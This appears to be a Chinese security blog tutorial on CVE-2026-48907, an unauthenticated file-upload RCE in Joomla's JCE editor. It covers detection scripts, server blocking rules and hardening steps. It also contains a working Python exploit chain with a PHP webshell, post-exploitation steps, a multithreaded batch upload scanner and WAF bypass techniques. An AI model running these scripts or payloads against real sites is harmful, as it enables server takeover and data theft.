CVE-2026-48907实战教程:JCE未授权RCE检测脚本+修复配置清单
前言攻击链路流程图下图完整展示了CVE-2026-48907从匿名请求到代码执行的完整攻击路径标注了每一步的利用点与权限变化。一、漏洞现状公网十万级站点暴露批量利用已爆发2026年6月5日Joomla官方披露JCE编辑器的高危未授权远程代码执行漏洞编号CVE-2026-48907CVSS 4.0评分拉满10.0CVSS 3.1评分9.8。漏洞无需登录、无需用户交互、攻击复杂度极低公网只要能访问到站点就能打。JCE是Joomla生态装机量最高的富文本编辑器组件官方统计下载量超千万全球超过30%的Joomla站点默认预装。国内企业官网、政府事业单位站点、外贸独立站大量使用JoomlaJCE的组合。截至6月中旬全网资产测绘数据显示仅国内公网可直接探测的受影响站点就超过8万台且每天以数千台的速度被批量植入后门。漏洞公开后第三天野外就出现了完整EXP。攻击者批量爬取搜索引擎和FOFA上的Joomla站点自动化扫描com_jce组件上传挖矿程序、勒索脚本和PHP大马。多数站长和运维人员根本没意识到一个编辑器插件能直接打穿全站等发现服务器CPU跑满、数据库被加密时入侵已经发生一周以上。1.1 漏洞核心档案项目详情CVE编号CVE-2026-48907漏洞组件Joomla Content EditorJCE Core/Pro漏洞类型访问控制缺陷CWE-284→ 任意文件上传 → 远程代码执行影响版本1.0.0 ~ 2.9.99.4 全版本修复版本2.9.99.5基础修复、2.9.99.6完整加固官方推荐兼容Joomla3.x、4.x、5.x 全系列攻击前置无账号、无交互仅需站点tmp目录可HTTP访问在野利用已确认大规模批量扫描与入侵1.2 为什么这个漏洞杀伤力远超普通文件上传普通文件上传漏洞大多需要登录后台或者至少要有编辑权限。CVE-2026-48907直接把攻击门槛拉到最低不需要任何账号匿名访客就能打不需要绕过复杂的WAF规则一个标准POST请求就完成上传不需要猜解上传路径文件固定落在站点根目录的tmp文件夹路径100%可预测不需要找解析漏洞绝大多数Joomla站点默认tmp目录允许PHP执行。攻击者拿到的不是普通的文件上传权限是直接的服务器命令执行权限。只要站点没打补丁从访问首页到拿到Shell全程不超过3秒。二、JCE组件架构与漏洞根因拆解很多人只知道“上传个文件就拿Shell”但没搞懂为什么一个配置导入功能会变成RCE入口。要理解这个漏洞得先搞清楚JCE的Profile机制到底是做什么的。2.1 JCE的Profile机制是核心权限载体JCE不是一个简单的文本输入框它是一套完整的内容编辑权限系统。站长可以给不同用户组创建不同的编辑器Profile控制每个用户能看到哪些工具栏按钮、能上传什么类型的文件、能访问哪些服务器目录、能不能编辑HTML源码。说白了谁控制了Profile谁就控制了JCE的所有文件操作权限。正常业务逻辑里Profile的导入导出只有超级管理员能用用来在不同站点之间迁移编辑器配置不用手动一个个点按钮设置。问题就出在这个导入功能上。2.2 第一环Profile导入接口完全没做权限校验JCE的profiles.import接口负责接收上传的XML配置文件解析后生成新的编辑器Profile。开发人员犯了一个非常低级但致命的错误只校验了CSRF Token没校验用户身份。Joomla的机制是哪怕是匿名访客访问站点也会生成一个会话附带合法的CSRF Token。开发人员误以为“有合法Token的请求就是合法用户发的”直接跳过了管理员权限判断。于是任何人只要先访问一次首页拿到Token就能带着Token去调用本该只有管理员能碰的导入接口。补丁里的修复方式很直接在所有Profile相关控制器的入口处加了一行权限校验// 2.9.99.5 补丁新增代码if(!$user-authorise(core.manage,com_jce)){thrownewException(JText::_(JERROR_ALERTNOAUTHOR),403);}就这一行代码直接堵死了未授权访问的入口。2.3 第二环文件后缀校验形同虚设就算能调用导入接口正常逻辑也该只接受XML文件对吧实际代码里根本没做严格的后缀白名单校验只检查了上传文件的MIME类型。攻击者把文件名改成evil.xml.php请求头里MIME填application/xml服务端一看MIME是XML就直接放行了。文件名里带.php后缀这件事全程没人检查。2.4 第三环上传函数主动关掉了安全防护最离谱的是第三环。Joomla框架自带的File::upload函数默认有安全机制会自动拦截.php、.phtml、.exe这类危险后缀的文件防止上传可执行脚本。这个安全开关由第四个参数$allow_unsafe控制默认是false。JCE的导入接口调用这个函数时主动把这个参数设成了true// 漏洞版本的上传代码File::upload($source,$destination,false,true);最后那个true直接把Joomla内置的上传防护全关了。等于系统本来装了防盗门开发人员自己把门拆了还留了条“欢迎光临”的地毯。三层防护全失效最终上传的PHP文件原封不动落进了站点的tmp目录文件名都没改。攻击者直接访问/tmp/evil.xml.phpWeb服务器解析PHP代码命令直接执行。JCE文件上传逻辑架构图下图展示了JCE上传流程的三层校验机制以及漏洞版本中每一层失效的位置。2.5 两个修复版本的差异官方先后发了两个修复版本很多人只更到2.9.99.5就停了其实不够。2.9.99.5只加了权限校验堵了最核心的未授权入口但上传逻辑本身的不安全参数还没完全清理XML解析也没做内容过滤2.9.99.6做了完整加固补全了所有控制器的权限检查上传强制白名单仅允许.xml后缀移除了allow_unsafetrue的危险写法还加了XML内容的字段白名单防止恶意配置注入。官方明确推荐直接更到2.9.99.6只更到.5版本依然存在被绕过的风险。三、完整攻击链路复现从匿名访问到GetShell下面完整走一遍攻击流程所有步骤都基于默认配置的JoomlaJCE环境不需要任何特殊条件。3.1 环境准备测试环境用Joomla 5.1.0 JCE 2.9.99.4PHP 8.1Nginx 1.24完全默认安装不做任何安全加固。确认漏洞存在的方式很简单访问/index.php?optioncom_jcetaskprofiles.import如果返回的不是403或者登录跳转基本就有问题。3.2 第一步获取CSRF TokenJoomla的每个页面HTML里都会注入全局的CSRF Token存在JavaScript变量里。匿名访问首页就能直接拿到。正则匹配的关键词是csrf.token值是32位的十六进制字符串。importrequestsimportre targethttp://test-joomla.localsessionrequests.Session()respsession.get(target)token_matchre.search(rcsrf\.token\s*:\s*([0-9a-f]{32}),resp.text)ifnottoken_match:print(无法获取CSRF Token站点可能不是Joomla)exit()csrf_tokentoken_match.group(1)print(获取到CSRF Token:,csrf_token)这一步没有任何特征和普通用户访问首页完全一样WAF根本拦不住。3.3 第二步构造恶意载荷载荷不需要复杂的XML结构直接写PHP代码就行。导入接口根本不会严格校验文件内容是不是合法的XML反正最后文件原样落盘能执行就行。最简单的一句话Webshell?phpsystem($_GET[cmd]);?文件名用poc.xml.php前面的.xml用来骗MIME校验后面的.php用来触发解析。3.4 第三步上传文件构造multipart/form-data的POST请求提交到/index.php?optioncom_jce参数里带上taskprofiles.import和CSRF Token。filenamepoc.xml.phpwebshell?php system($_GET[cmd]); ?upload_data{task:profiles.import,csrf_token:1}files{profile_file:(filename,webshell,application/xml)}respsession.post(f{target}/index.php?optioncom_jce,dataupload_data,filesfiles)print(上传请求状态码:,resp.status_code)请求发出去服务端不会返回明显的成功或失败提示。不管导入成功还是解析失败文件都已经写到tmp目录里了。3.5 第四步执行命令直接访问/tmp/poc.xml.php?cmdwhoami就能看到命令执行结果。shell_urlf{target}/tmp/{filename}?cmdidresultsession.get(shell_url)print(命令执行结果:)print(result.text)正常返回uid33(www-data) gid33(www-data) groups33(www-data)就代表漏洞利用成功已经拿到了Web服务器的执行权限。3.6 进阶利用拿到Shell之后做什么成功执行命令只是第一步实战中攻击者通常会做这几件事写入完整的PHP大马方便后续文件管理、数据库操作读取Joomla的configuration.php文件拿到数据库账号密码脱库利用数据库密码尝试SSH、后台等其他服务的密码复用植入定时任务和隐藏后门就算管理员删了tmp里的文件也能重新进来扫描内网横向渗透到其他服务器。如果站点运行在root权限的PHP环境下攻击者直接就能拿到服务器最高权限整台机器彻底沦陷。四、可直接复用的检测脚本与工具下面提供三套可直接复制运行的脚本分别用于单站点检测、批量资产扫描和本地入侵排查。所有检测脚本都采用无危害方式不会上传真实Webshell只验证漏洞是否存在。4.1 单站点无危害检测脚本这个脚本只会上传一个包含phpinfo()的测试文件验证成功后会提示不会留下可被利用的后门。#!/usr/bin/env python3# CVE-2026-48907 单站点检测脚本 仅用于授权安全测试importrequestsimportreimportsysimportrandomimportstringdefcheck_vuln(url):sessionrequests.Session()session.headers.update({User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36})# 标准化URLurlurl.rstrip(/)ifnoturl.startswith(http):urlhttp://urltry:# 获取CSRF Tokenrespsession.get(url,timeout10)ifresp.status_code!200:returnFalse,站点无法访问token_matchre.search(rcsrf\.token\s*:\s*([0-9a-f]{32}),resp.text)ifnottoken_match:returnFalse,未检测到Joomla特征csrf_tokentoken_match.group(1)# 生成随机文件名rand_name.join(random.choices(string.ascii_lowercasestring.digits,k8))test_filef{rand_name}.xml.php# 测试载荷 仅输出特征字符串 不具备攻击性test_payload?php echo CVE202648907_TEST_OK; ?# 上传测试文件data{task:profiles.import,csrf_token:1}files{profile_file:(test_file,test_payload,application/xml)}session.post(f{url}/index.php?optioncom_jce,datadata,filesfiles,timeout10)# 验证执行结果test_urlf{url}/tmp/{test_file}verify_respsession.get(test_url,timeout8)ifCVE202648907_TEST_OKinverify_resp.text:returnTrue,存在CVE-2026-48907漏洞可远程代码执行else:returnFalse,漏洞不存在或tmp目录禁止PHP执行exceptExceptionase:returnFalse,f检测异常:{str(e)}if__name____main__:iflen(sys.argv)!2:print(用法: python3 cve-2026-48907-check.py 目标URL)sys.exit(1)targetsys.argv[1]is_vuln,msgcheck_vuln(target)ifis_vuln:print(f[!]{target}-{msg})else:print(f[]{target}-{msg})4.2 批量资产检测脚本适合手里有一批域名/IP列表快速批量筛查受影响资产。支持多线程自动跳过无法访问的站点。#!/usr/bin/env python3# 批量检测脚本 仅用于企业内部资产排查importrequestsimportreimportthreadingimportqueueimportrandomimportstring THREAD_NUM20qqueue.Queue()result[]lockthreading.Lock()defcheck_worker():whilenotq.empty():urlq.get()sessionrequests.Session()session.headers.update({User-Agent:Mozilla/5.0})urlurl.strip().rstrip(/)ifnoturl.startswith(http):urlhttp://urltry:respsession.get(url,timeout8)token_matchre.search(rcsrf\.token\s*:\s*([0-9a-f]{32}),resp.text)ifnottoken_match:withlock:result.append(f[-]{url}非Joomla站点)continuecsrf_tokentoken_match.group(1)rand_name.join(random.choices(string.ascii_lowercasestring.digits,k10))test_filef{rand_name}.xml.phppayload?php echo JCE_VULN_CHECK; ?data{task:profiles.import,csrf_token:1}files{profile_file:(test_file,payload,application/xml)}session.post(f{url}/index.php?optioncom_jce,datadata,filesfiles,timeout8)verifysession.get(f{url}/tmp/{test_file},timeout6)ifJCE_VULN_CHECKinverify.text:withlock:result.append(f[!]{url}存在漏洞)else:withlock:result.append(f[]{url}安全)except:withlock:result.append(f[?]{url}访问失败)finally:q.task_done()if__name____main__:withopen(targets.txt,r)asf:forlineinf.readlines():ifline.strip():q.put(line.strip())foriinrange(THREAD_NUM):tthreading.Thread(targetcheck_worker)t.daemonTruet.start()q.join()withopen(result.txt,w)asf:forlineinresult:f.write(line\n)print(line)print(\n检测完成结果已保存到result.txt)4.3 本地主机排查脚本如果已经怀疑服务器被入侵用这个脚本快速扫描JCE版本和tmp目录下的可疑PHP文件。#!/bin/bash# Joomla站点本地入侵排查脚本echo CVE-2026-48907 本地排查 # 查找Joomla站点根目录JOOMLA_ROOT$(find/www /var/www /home-nameconfiguration.php-path*/public_html/*2/dev/null|head-1)if[-z$JOOMLA_ROOT];thenJOOMLA_ROOT$(find/www /var/www /home-nameconfiguration.php2/dev/null|head-1)fiif[-z$JOOMLA_ROOT];thenecho未找到Joomla站点目录exit1fiJOOMLA_ROOT$(dirname$JOOMLA_ROOT)echo站点根目录:$JOOMLA_ROOT# 检测JCE版本JCE_XML$JOOMLA_ROOT/administrator/components/com_jce/jce.xmlif[-f$JCE_XML];thenJCE_VERSION$(grep-oPversion\K[^]$JCE_XML)echo当前JCE版本:$JCE_VERSIONifprintf%s\n2.9.99.5$JCE_VERSION|sort-V|head-n1|grep-q2.9.99.5;thenecho[] JCE版本已修复elseecho[!] JCE版本存在漏洞风险fielseecho未检测到JCE组件fi# 扫描tmp目录下的PHP文件TMP_DIR$JOOMLA_ROOT/tmpecho-e\n tmp目录PHP文件扫描 if[-d$TMP_DIR];thenfind$TMP_DIR-name*.php-o-name*.phtml-o-name*.php52/dev/nullecho-e\n可疑文件数量:$(find$TMP_DIR-name*.php2/dev/null|wc-l)elseechotmp目录不存在fi# 扫描近7天新增的PHP文件echo-e\n 近7天新增PHP文件 find$JOOMLA_ROOT-name*.php-mtime-7-typef2/dev/null|head-20echo-e\n排查完成4.4 WAF绕过的常见手法这个漏洞的请求特征非常明显常规WAF都能拦com_jcetaskprofiles.import这个参数。但攻击者有几种简单的绕过方式利用Joomla的SEF路由把参数写进路径比如/component/jce/?taskprofiles.import大小写混淆写成TaskProfiles.Import绕过大小写敏感的WAF规则参数污染多加几个同名参数WAF匹配第一个后端取第二个分块传输编码把请求体拆成小块绕过WAF的内容检测。只靠WAF拦关键字拦不住最稳妥的还是升级补丁目录权限加固。五、修复加固全方案从临时止血到永久闭环修复分四个层级应急阶段先做临时拦截再升级补丁最后做全站加固形成完整的防护闭环。5.1 紧急临时防护Web服务器层拦截还没来得及升级补丁的站点先在Nginx或Apache上加规则直接把导入接口封死。Nginx配置# 拦截JCE未授权导入接口 location ~* optioncom_jce { if ($args ~* taskprofiles\.import) { return 403; } # 兼容SEF路由模式 if ($request_uri ~* profiles\.import) { return 403; } } # 禁止tmp目录执行PHP location ~* /tmp/.*\.php$ { deny all; return 403; }改完配置执行nginx -s reload立即生效不需要重启服务。Apache配置.htaccess# 拦截JCE漏洞接口 RewriteCond %{QUERY_STRING} taskprofiles\.import [NC] RewriteCond %{QUERY_STRING} optioncom_jce [NC] RewriteRule .* - [F,L] # 禁止tmp目录执行PHP Directory tmp FilesMatch \.php$ Order Allow,Deny Deny from all /FilesMatch /Directory把这段写进站点根目录的.htaccess文件立即生效。5.2 代码层热修复如果连改Web配置的权限都没有可以直接改JCE的PHP文件加一行权限校验。找到文件administrator/components/com_jce/controllers/profiles.php在import方法的第一行加// 临时热修复 增加管理员权限校验if(!JFactory::getUser()-authorise(core.manage,com_jce)){thrownewException(JText::_(JERROR_ALERTNOAUTHOR),403);}保存之后漏洞直接失效不用升级整个组件。等后续有空再做完整升级。5.3 官方补丁升级步骤最标准的修复方式还是升级组件操作很简单登录Joomla后台进入「系统」-「更新」-「扩展」点击「检查更新」找到JCE Editor的更新项勾选后点击「更新」等待自动完成进入「组件」-「JCE编辑器」确认版本号为2.9.99.6或更高。如果后台更新失败可以去JCE官网下载安装包通过「扩展管理」-「安装」手动上传升级不会丢失现有配置。5.4 Joomla站点通用安全加固清单光补一个JCE漏洞不够Joomla站点还有很多常见的风险点一起加固了能挡住90%的常规攻击。目录权限加固所有目录权限设为755文件设为644configuration.php设为444tmp、images、media目录移除PHP执行权限后台路径修改不要用默认的/administrator改成自定义路径降低被扫描到的概率后台登录加固开启两步验证限制登录IP设置登录失败锁定定期更新Joomla核心、所有插件、模板都保持最新版本尤其是编辑器、表单、商城类插件备份机制每天自动备份数据库和站点文件异地存储被入侵后能快速回滚禁用危险PHP函数php.ini里禁用exec、system、shell_exec等命令执行函数就算被上传Shell也没法执行系统命令。5.5 已经被入侵后的处置流程如果确认站点已经被入侵按这个步骤处理先断网或者把站点切到维护模式防止攻击者继续操作备份当前所有日志和文件留作溯源证据全量扫描Web目录清除所有Webshell和后门文件重点查tmp、images、media、cache目录检查数据库看有没有新增管理员账号有没有被篡改的内容查看系统定时任务、启动项、SSH密钥排查是否被植入了持久化后门全量升级所有组件修改所有账号密码包括数据库、SSH、后台管理员排查内网其他服务器防止横向渗透恢复站点上线持续监控一周以上。六、攻防前瞻CMS第三方组件的安全困局CVE-2026-48907不是第一个JCE漏洞也绝不会是最后一个。过去十年里JCE已经爆出过十几次高危漏洞从路径遍历到任意文件上传再到SQL注入几乎所有Web漏洞类型都出过一遍。6.1 富文本编辑器为什么永远是重灾区所有CMS的富文本编辑器都是高危组件没有例外。原因很简单编辑器天生要处理文件上传、图片插入、HTML编辑这些高风险操作为了功能灵活编辑器往往自带一套独立的权限体系很容易和CMS主框架的权限脱节第三方组件开发团队的安全能力普遍不如核心团队代码审计做得不到位站长更新意识差核心系统可能会更但插件常年不更漏洞长期暴露。不光JCEWordPress的Elementor、Drupal的CKEditor、国内各种建站系统的编辑器全都是漏洞高发区。只要是带文件上传功能的编辑器早晚都会出RCE漏洞。6.2 Joomla生态的安全现状Joomla本身的核心代码安全其实做得不错近几年核心爆出的高危漏洞很少。但整个生态的安全水平参差不齐第三方插件和模板是最大的风险来源。很多小团队开发的插件连最基本的权限校验、输入过滤都不做装上之后等于给站点开了个后门。站长为了功能随便装插件装完从来不更最后出事了全算在Joomla头上。未来一两年Joomla生态的漏洞还会持续爆发尤其是商业插件、付费模板这类闭源组件没人做安全审计漏洞藏得更深爆发出来危害更大。6.3 蓝队的应对思路面对这类层出不穷的组件级漏洞蓝队不能等着出CVE再补补丁要主动构建防御体系做资产梳理摸清所有站点用了哪些插件、版本号是多少漏洞一出来就能快速定位受影响资产部署虚拟补丁WAF里提前配置好通用的文件上传防护规则、未授权访问防护规则不用等单个漏洞的规则更新做目录权限最小化所有可上传目录一律禁止执行脚本就算漏了上传漏洞也拿不到Shell监控异常行为比如tmp目录突然出现PHP文件、陌生IP调用管理接口、短时间大量POST请求及时告警。被动补补丁永远追不上漏洞爆发的速度只有把基础防护做扎实才能把绝大多数同类漏洞挡在外面。互动讨论你管理的Joomla站点有没有排查过JCE版本遇到过哪些组件级的入侵事件你觉得Joomla生态里还有哪些高风险组件容易出现未授权类漏洞需要我补充一份针对该漏洞的Suricata/Snort检测规则以及Windows服务器环境下的加固配置吗

相关新闻